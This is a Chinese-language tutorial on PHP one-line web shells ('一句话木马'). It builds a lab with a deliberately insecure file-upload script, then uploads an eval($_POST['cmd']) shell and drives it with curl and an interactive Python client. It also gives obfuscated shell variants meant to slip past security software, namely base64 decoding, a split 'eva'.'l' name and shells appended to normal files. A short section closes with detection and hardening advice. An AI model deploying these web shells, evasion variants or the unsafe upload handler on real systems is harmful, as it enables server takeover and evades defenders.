0x01 一句话木马的技术原理

一句话木马是一种极简的 Web 后门,通常只有一行代码,体积小到可以隐藏在任意 Web 页面中。它的核心思想是通过动态执行服务器端代码(如 PHP、ASP 或 JSP),实现对目标服务器的远程控制。攻击者借助这类木马,可以上传文件、执行命令,甚至进一步扩展为 C2 通信。

一句话木马的基本原理

  1. 动态执行:利用 Web 应用的代码执行功能,将攻击者发送的命令在服务端解析并运行。
  2. 参数传递:通过 HTTP 请求的参数(如 POST 数据)动态传递恶意代码。
  3. 结果回显:将命令执行的结果通过 HTTP 响应返回给攻击者,实现交互式控制。

一个典型的 PHP 一句话木马如下:

<pre><code class="language-php">&lt;?php @eval($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

黑客示意图

这段代码会接收 POST 请求中名为 cmd 的参数,并使用 PHP 的 eval 函数动态执行其中的内容。比如攻击者向服务器发送以下 POST 数据:

<pre><code>cmd=system(&quot;whoami&quot;);</code></pre>

上面的请求会使服务器执行 whoami 命令,并返回结果。

但这类木马的缺点也很明显:容易被上传限制和安全软件检测到。因此,绕过上传限制、规避检测是其核心难点,也是攻击者研究的重点。

---

0x02 环境搭建:从头构建攻防实验室

为了演示如何使用一句话木马,我们需要搭建一个本地实验环境,包括以下几部分:

  1. 目标系统:一台带有 PHP 和 Apache 的服务器,运行一个存在文件上传漏洞的 Web 应用。
  2. 攻击机:一台 Kali Linux 系统,用于发送木马和控制目标。

以下是快速搭建实验环境的步骤。

搭建目标环境

在一台虚拟机(建议使用 Ubuntu)上执行以下步骤:

黑客示意图

1. 安装 Apache 和 PHP

<pre><code class="language-bash">sudo apt update sudo apt install apache2 -y sudo apt install php libapache2-mod-php -y sudo systemctl start apache2 sudo systemctl enable apache2</code></pre>

2. 配置一个文件上传 Web 应用

创建一个简单的文件上传页面:

<pre><code class="language-bash">sudo mkdir /var/www/html/upload sudo nano /var/www/html/upload/index.php</code></pre>

index.php 文件中添加以下内容:

<pre><code class="language-php">&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;body&gt; &lt;form action=&quot;upload.php&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt; Select file to upload: &lt;input type=&quot;file&quot; name=&quot;fileToUpload&quot; id=&quot;fileToUpload&quot;&gt; &lt;input type=&quot;submit&quot; value=&quot;Upload File&quot; name=&quot;submit&quot;&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt;</code></pre>

再创建上传处理脚本 upload.php: <pre><code class="language-php">&lt;?php $target_dir = &quot;uploads/&quot;; $target_file = $target_dir . basename($_FILES[&quot;fileToUpload&quot;][&quot;name&quot;]); if (move_uploaded_file($_FILES[&quot;fileToUpload&quot;][&quot;tmp_name&quot;], $target_file)) { echo &quot;The file &quot;. htmlspecialchars(basename($_FILES[&quot;fileToUpload&quot;][&quot;name&quot;])). &quot; has been uploaded.&quot;; } else { echo &quot;Sorry, there was an error uploading your file.&quot;; } ?&gt;</code></pre>

3. 调整权限并重启服务器

<pre><code class="language-bash">sudo mkdir /var/www/html/upload/uploads sudo chmod 777 /var/www/html/upload/uploads sudo systemctl restart apache2</code></pre>

此时,你可以通过浏览器访问 http://<目标机IP>/upload 测试文件上传功能。

---

0x03 植入一句话木马

准备木马文件

创建一个 shell.php 文件,内容如下:

<pre><code class="language-php">&lt;?php @eval($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

然后将文件打包成压缩包,以绕过某些简单的扩展名限制:

<pre><code class="language-bash">zip shell.zip shell.php</code></pre>

上传木马

打开目标网站的上传页面,通过表单上传 shell.php 文件(或压缩包)。如果上传成功,访问 http://<目标机IP>/upload/uploads/shell.php 验证木马是否部署成功。

---

0x04 实战控制:交互式操作

发送命令并接收回显

通过任何支持 HTTP 请求的工具(如 curl 或 Burp Suite),向木马文件发送数据。例如,使用 curl:

<pre><code class="language-bash">curl -X POST http://&lt;目标机IP&gt;/upload/uploads/shell.php -d &quot;cmd=system(&#039;whoami&#039;);&quot;</code></pre>

你应该会在终端看到目标服务器返回的用户名。

构建自动化控制脚本

以下是一个简单的 Python 脚本,用于与一句话木马交互:

<pre><code class="language-python">import requests

木马的 URL

url = &quot;http://&lt;目标机IP&gt;/upload/uploads/shell.php&quot;

def execute_command(command):

构造 POST 数据

data = {&quot;cmd&quot;: f&quot;system(&#039;{command}&#039;);&quot;}

发送请求并打印结果

response = requests.post(url, data=data) print(response.text)

while True: command = input(&quot;shell&gt; &quot;) if command.lower() in [&quot;exit&quot;, &quot;quit&quot;]: break execute_command(command)</code></pre>

运行此脚本后,你可以直接输入命令,与目标服务器进行交互。

---

0x05 绕过与免杀:如何逃避检测

一句话木马的简单格式很容易被安全软件识别,因此攻击者通常会对其进行变形处理。例如:

  1. 使用 Base64 编码
  2. 将木马代码进行 Base64 编码,并动态解码执行: `php <?php @eval(base64_decode($_POST['cmd'])); ?> `

  1. 多层混淆
  2. 利用多层嵌套函数隐藏核心逻辑: `php <?php $a = $_POST['cmd']; $b = base64_decode($a); @eval($b); ?> ` 这种方式将攻击代码分为多步,还可以进一步加壳或加密。

  1. 更改关键字
  2. 使用 PHP 的自定义函数名或动态生成函数名,绕过常规规则检测: `php <?php $a = "eva"."l"; $a($_POST['cmd']); ?> `

  1. 伪装正常文件
  2. 将木马隐藏在正常文件中,或附加到正常代码后面,例如: `php <?php echo "Hello, World!"; @eval($_POST['cmd']); ?> `

---

0x06 检测与防御视角

如何检测一句话木马?

  1. 日志分析
  2. 检查服务器的访问日志,注意频繁的 POST 请求或异常参数。

  1. 文件扫描
  2. 使用正则表达式扫描 Web 目录中的文件。例如: `bash grep -r "@eval" /var/www/html/ `

  1. 实时监控
  2. 利用 WAF(Web 应用防火墙)或 HIDS(主机入侵检测系统)监控请求和文件变化。

防御策略

  1. 禁用危险函数
  2. 修改 php.ini 配置文件,禁用 evalsystem 等函数: `ini disable_functions = "eval,system,exec,passthru,shell_exec" `

  1. 限制文件上传
  2. 仅允许上传白名单扩展名的文件,并验证文件内容。

  1. 加强权限管理
  2. 将上传目录设置为不可执行: `bash chmod -R 644 /var/www/html/uploads `

---

黑客示意图

0x07 攻击者的思考

一句话木马虽然简单,但它揭示了 Web 安全的脆弱性。一旦突破上传限制,它就可以成为渗透测试的利器。尽管本文仅出于技术研究和合法测试目的,但在真实场景中,攻击者常常结合更多复杂技术,使其难以被检测和防御。

最重要的一点:不要轻视基础攻击手段,因为它们往往是最有效的。